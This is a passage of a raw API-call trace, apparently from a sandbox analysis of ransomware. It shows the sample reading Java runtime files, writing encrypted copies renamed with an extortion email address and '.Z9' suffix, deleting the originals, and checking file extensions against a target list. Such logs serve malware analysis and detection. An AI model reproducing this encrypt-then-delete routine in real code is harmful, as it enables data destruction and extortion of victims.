	[0096.059] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.059] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.059] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.059] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.060] GetLastError () returned 0x0
	[0096.060] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x278, lpOverlapped=0x0) returned 1
	[0096.126] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x280, lpOverlapped=0x0) returned 1
	[0096.127] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.127] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0096.127] SetEndOfFile (hFile=0x384) returned 1
	[0096.207] CloseHandle (hObject=0x384) returned 1
	[0096.207] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.207] SetEndOfFile (hFile=0x35c) returned 1
	[0096.208] CloseHandle (hObject=0x35c) returned 1
	[0096.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.208] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1
	[0096.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.209] lstrlenW (lpString=".doc") returned 4
	[0096.209] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1
	[0096.209] lstrlenW (lpString=".docx") returned 5
	[0096.209] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1
	[0096.209] lstrlenW (lpString=".pdf") returned 4
	[0096.209] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1
	[0096.209] lstrlenW (lpString=".xls") returned 4
	[0096.209] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1
	[0096.209] lstrlenW (lpString=".xlsx") returned 5
	[0096.209] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1
	[0096.209] lstrlenW (lpString=".ppt") returned 4
	[0096.209] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1
	[0096.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.209] lstrlenW (lpString=".zip") returned 4
	[0096.209] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1
	[0096.209] lstrlenW (lpString=".rar") returned 4
	[0096.209] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1
	[0096.209] lstrlenW (lpString=".bz2") returned 4
	[0096.209] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1
	[0096.209] lstrlenW (lpString=".7z") returned 3
	[0096.209] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.209] lstrlenW (lpString=".dbf") returned 4
	[0096.209] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1
	[0096.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.209] lstrlenW (lpString=".1cd") returned 4
	[0096.209] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1
	[0096.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.209] lstrlenW (lpString=".jpg") returned 4
	[0096.210] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.210] lstrlenW (lpString=".doc") returned 4
	[0096.210] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString=".docx") returned 5
	[0096.210] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1
	[0096.210] lstrlenW (lpString=".pdf") returned 4
	[0096.210] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString=".xls") returned 4
	[0096.210] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString=".xlsx") returned 5
	[0096.210] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1
	[0096.210] lstrlenW (lpString=".ppt") returned 4
	[0096.210] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.210] lstrlenW (lpString=".zip") returned 4
	[0096.210] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString=".rar") returned 4
	[0096.210] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString=".bz2") returned 4
	[0096.210] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString=".7z") returned 3
	[0096.210] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.210] lstrlenW (lpString=".dbf") returned 4
	[0096.210] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.210] lstrlenW (lpString=".1cd") returned 4
	[0096.210] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1
	[0096.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0096.210] lstrlenW (lpString=".jpg") returned 4
	[0096.210] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1
	[0096.211] lstrcmpiW (lpString1=".pf", lpString2=".Z9") returned -1
	[0096.211] lstrlenW (lpString="sRGB.pf") returned 7
	[0096.211] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.211] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3144) returned 1
	[0096.211] CloseHandle (hObject=0x35c) returned 1
	[0096.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20
	[0096.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.211] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.211] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.211] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.211] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.212] GetLastError () returned 0x0
	[0096.212] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xc48, lpOverlapped=0x0) returned 1
	[0096.278] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xc50, lpOverlapped=0x0) returned 1
	[0096.280] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.280] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0096.280] SetEndOfFile (hFile=0x384) returned 1
	[0096.280] CloseHandle (hObject=0x384) returned 1
	[0096.280] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.280] SetEndOfFile (hFile=0x35c) returned 1
	[0096.281] CloseHandle (hObject=0x35c) returned 1
	[0096.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.281] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1
	[0096.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.281] lstrlenW (lpString=".doc") returned 4
	[0096.281] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0096.281] lstrlenW (lpString=".docx") returned 5
	[0096.281] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0096.281] lstrlenW (lpString=".pdf") returned 4
	[0096.281] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0096.281] lstrlenW (lpString=".xls") returned 4
	[0096.281] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0096.281] lstrlenW (lpString=".xlsx") returned 5
	[0096.281] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0096.282] lstrlenW (lpString=".ppt") returned 4
	[0096.282] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.282] lstrlenW (lpString=".zip") returned 4
	[0096.282] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString=".rar") returned 4
	[0096.282] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString=".bz2") returned 4
	[0096.282] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString=".7z") returned 3
	[0096.282] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.282] lstrlenW (lpString=".dbf") returned 4
	[0096.282] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.282] lstrlenW (lpString=".1cd") returned 4
	[0096.282] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.282] lstrlenW (lpString=".jpg") returned 4
	[0096.282] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.282] lstrlenW (lpString=".doc") returned 4
	[0096.282] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString=".docx") returned 5
	[0096.282] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0096.282] lstrlenW (lpString=".pdf") returned 4
	[0096.282] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString=".xls") returned 4
	[0096.282] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString=".xlsx") returned 5
	[0096.282] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0096.282] lstrlenW (lpString=".ppt") returned 4
	[0096.282] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0096.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.283] lstrlenW (lpString=".zip") returned 4
	[0096.283] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0096.283] lstrlenW (lpString=".rar") returned 4
	[0096.283] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0096.283] lstrlenW (lpString=".bz2") returned 4
	[0096.283] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0096.283] lstrlenW (lpString=".7z") returned 3
	[0096.283] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.283] lstrlenW (lpString=".dbf") returned 4
	[0096.283] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0096.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.283] lstrlenW (lpString=".1cd") returned 4
	[0096.283] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0096.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0096.283] lstrlenW (lpString=".jpg") returned 4
	[0096.283] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0096.283] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.283] lstrlenW (lpString="content-types.properties") returned 24
	[0096.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.283] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5548) returned 1
	[0096.283] CloseHandle (hObject=0x35c) returned 1
	[0096.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20
	[0096.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.284] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.284] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.284] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.284] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.284] GetLastError () returned 0x0
	[0096.284] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x15ac, lpOverlapped=0x0) returned 1
	[0096.293] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x15b0, lpOverlapped=0x0) returned 1
	[0096.295] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.295] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x104, lpOverlapped=0x0) returned 1
	[0096.295] SetEndOfFile (hFile=0x384) returned 1
	[0096.295] CloseHandle (hObject=0x384) returned 1
	[0096.295] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.295] SetEndOfFile (hFile=0x35c) returned 1
	[0096.296] CloseHandle (hObject=0x35c) returned 1
	[0096.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.296] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1
	[0096.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.297] lstrlenW (lpString=".doc") returned 4
	[0096.297] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.297] lstrlenW (lpString=".docx") returned 5
	[0096.297] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.297] lstrlenW (lpString=".pdf") returned 4
	[0096.297] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.297] lstrlenW (lpString=".xls") returned 4
	[0096.297] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.297] lstrlenW (lpString=".xlsx") returned 5
	[0096.297] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.297] lstrlenW (lpString=".ppt") returned 4
	[0096.297] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.297] lstrlenW (lpString=".zip") returned 4
	[0096.297] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.297] lstrlenW (lpString=".rar") returned 4
	[0096.297] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.297] lstrlenW (lpString=".bz2") returned 4
	[0096.297] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.297] lstrlenW (lpString=".7z") returned 3
	[0096.297] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.297] lstrlenW (lpString=".dbf") returned 4
	[0096.297] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.297] lstrlenW (lpString=".1cd") returned 4
	[0096.297] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.297] lstrlenW (lpString=".jpg") returned 4
	[0096.297] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.298] lstrlenW (lpString=".doc") returned 4
	[0096.298] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString=".docx") returned 5
	[0096.298] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.298] lstrlenW (lpString=".pdf") returned 4
	[0096.298] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString=".xls") returned 4
	[0096.298] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString=".xlsx") returned 5
	[0096.298] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.298] lstrlenW (lpString=".ppt") returned 4
	[0096.298] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.298] lstrlenW (lpString=".zip") returned 4
	[0096.298] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString=".rar") returned 4
	[0096.298] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString=".bz2") returned 4
	[0096.298] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString=".7z") returned 3
	[0096.298] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.298] lstrlenW (lpString=".dbf") returned 4
	[0096.298] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.298] lstrlenW (lpString=".1cd") returned 4
	[0096.298] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63
	[0096.298] lstrlenW (lpString=".jpg") returned 4
	[0096.298] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.298] lstrcmpiW (lpString1=".data", lpString2=".Z9") returned -1
	[0096.299] lstrlenW (lpString="currency.data") returned 13
	[0096.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.299] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4122) returned 1
	[0096.299] CloseHandle (hObject=0x35c) returned 1
	[0096.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20
	[0096.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.299] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.299] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
